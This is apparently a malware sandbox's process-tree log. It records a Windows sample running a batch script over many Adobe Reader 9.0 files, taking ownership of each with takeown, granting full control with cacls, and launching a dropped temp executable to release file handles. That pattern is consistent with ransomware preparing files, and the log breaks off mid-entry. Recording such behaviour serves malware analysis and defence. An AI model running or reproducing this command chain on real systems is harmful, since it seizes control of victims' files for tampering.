C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif" /E /G Admin:F /C3⤵PID:1176
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif"3⤵PID:1604
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "review_email.gif" -nobanner3⤵PID:792
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "review_email.gif" -nobanner4⤵PID:1452
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif""2⤵PID:1780
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif" /E /G Admin:F /C3⤵PID:760
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif"3⤵PID:1700
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "tr.gif" -nobanner3⤵PID:928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "tr.gif" -nobanner4⤵PID:2008
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:428
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf""2⤵PID:1048
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf" /E /G Admin:F /C3⤵PID:2020
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf"3⤵
- Modifies file permissions
PID:1932
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "AdobePiStd.otf" -nobanner3⤵PID:1184
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "AdobePiStd.otf" -nobanner4⤵PID:1888
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1604
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf""2⤵PID:240
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf" /E /G Admin:F /C3⤵PID:1896
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf"3⤵PID:1096
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner3⤵PID:1212
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner4⤵PID:1328
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:680
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt""2⤵PID:2008
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt" /E /G Admin:F /C3⤵PID:904
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt"3⤵PID:1120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner3⤵PID:948
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner4⤵PID:1132
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1840
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca""2⤵PID:1004
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca" /E /G Admin:F /C3⤵PID:1604
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca"3⤵
- Modifies file permissions
PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "can.fca" -nobanner3⤵PID:1052
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "can.fca" -nobanner4⤵PID:624
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2028
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths""2⤵PID:1212
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths" /E /G Admin:F /C3⤵PID:1108
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths"3⤵PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "usa03.ths" -nobanner3⤵PID:792
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "usa03.ths" -nobanner4⤵PID:1780
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1196
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT""2⤵PID:1932
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT" /E /G Admin:F /C3⤵PID:1956
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT"3⤵PID:2008
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "GREEK.TXT" -nobanner3⤵PID:300
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "GREEK.TXT" -nobanner4⤵PID:872
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:844
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT""2⤵PID:1372
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT"3⤵PID:1940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CP1253.TXT" -nobanner3⤵PID:1184
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CP1253.TXT" -nobanner4⤵PID:764
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:240
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der""2⤵PID:732
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der" /E /G Admin:F /C3⤵PID:1120
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der"3⤵PID:1408
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "RTC.der" -nobanner3⤵PID:1212
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "RTC.der" -nobanner4⤵PID:428
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif""2⤵PID:1788
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif" /E /G Admin:F /C3⤵PID:844
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif"3⤵PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "end_review.gif" -nobanner3⤵PID:624
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "end_review.gif" -nobanner4⤵PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif""2⤵PID:1984
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif" /E /G Admin:F /C3⤵PID:2044
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif"3⤵PID:1540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "reviews_joined.gif" -nobanner3⤵PID:1040
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "reviews_joined.gif" -nobanner4⤵PID:1100
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1532
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif""2⤵PID:1056
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif" /E /G Admin:F /C3⤵PID:1840
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif"3⤵
- Modifies file permissions
PID:1548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "server_ok.gif" -nobanner3⤵PID:928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "server_ok.gif" -nobanner4⤵PID:1168
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1068
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif""2⤵PID:336
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif" /E /G Admin:F /C3⤵PID:680
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif"3⤵PID:1788
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "warning.gif" -nobanner3⤵PID:764
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "warning.gif" -nobanner4⤵PID:760
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf""2⤵PID:1196
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf" /E /G Admin:F /C3⤵PID:1408
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf"3⤵
- Modifies file permissions
PID:1984
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MinionPro-BoldIt.otf" -nobanner3⤵PID:428
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MinionPro-BoldIt.otf" -nobanner4⤵PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1548
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB""2⤵PID:844
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB" /E /G Admin:F /C3⤵PID:1420
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB"3⤵
- Modifies file permissions
PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "SY______.PFB" -nobanner3⤵PID:204
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "SY______.PFB" -nobanner4⤵PID:216
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:236
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp""2⤵PID:1940
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp" /E /G Admin:F /C3⤵PID:992
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp"3⤵
- Modifies file permissions
PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "brt.hyp" -nobanner3⤵PID:764
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "brt.hyp" -nobanner4⤵PID:792
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx""2⤵PID:904
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx" /E /G Admin:F /C3⤵PID:2008
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx"3⤵
- Modifies file permissions
PID:1884
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "eng32.clx" -nobanner3⤵PID:832
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "eng32.clx" -nobanner4⤵PID:428
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1900
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT""2⤵PID:1956
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT" /E /G Admin:F /C3⤵PID:1056
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT"3⤵PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CENTEURO.TXT" -nobanner3⤵PID:228
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CENTEURO.TXT" -nobanner4⤵PID:216
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1524
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT""2⤵PID:1168
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT" /E /G Admin:F /C3⤵PID:1716
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT"3⤵PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "UKRAINE.TXT" -nobanner3⤵PID:1328
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "UKRAINE.TXT" -nobanner4⤵PID:792
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1108
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif""2⤵PID:1788
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif" /E /G Admin:F /C3⤵PID:1840
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\distribute_form.gif"3⤵PID:1884
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "distribute_form.gif" -nobanner3⤵PID:1932
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "distribute_form.gif" -nobanner4⤵PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1196
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css""2⤵PID:1408
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css" /E /G Admin:F /C3⤵PID:1420
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\main.css"3⤵
- Modifies file permissions
PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "main.css" -nobanner3⤵PID:596
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "main.css" -nobanner4⤵PID:216
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1048
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif""2⤵PID:1604
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif" /E /G Admin:F /C3⤵PID:992
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_shared.gif"3⤵
- Modifies file permissions
PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "review_shared.gif" -nobanner3⤵PID:764
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "review_shared.gif" -nobanner4⤵PID:792
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif""2⤵PID:1168
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif" /E /G Admin:F /C3⤵PID:800
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif"3⤵PID:1884
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner3⤵PID:1012
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "turnOffNotificationInAcrobat.gif" -nobanner4⤵PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1548
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf""2⤵PID:1248
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf" /E /G Admin:F /C3⤵PID:1056
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf"3⤵PID:616
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner3⤵PID:868
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CourierStd-BoldOblique.otf" -nobanner4⤵PID:1004
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1956
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf""2⤵PID:1408
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf" /E /G Admin:F /C3⤵PID:952
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf"3⤵PID:940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MyriadPro-Regular.otf" -nobanner3⤵PID:1328
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MyriadPro-Regular.otf" -nobanner4⤵PID:792
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt""2⤵PID:1184
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt" /E /G Admin:F /C3⤵PID:1840
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt"3⤵
- Modifies file permissions
PID:1884
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner3⤵PID:1900
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_GB_EURO.txt" -nobanner4⤵PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1788
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths""2⤵PID:1168
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can03.ths" /E /G Admin:F /C3⤵PID:1420
-
-
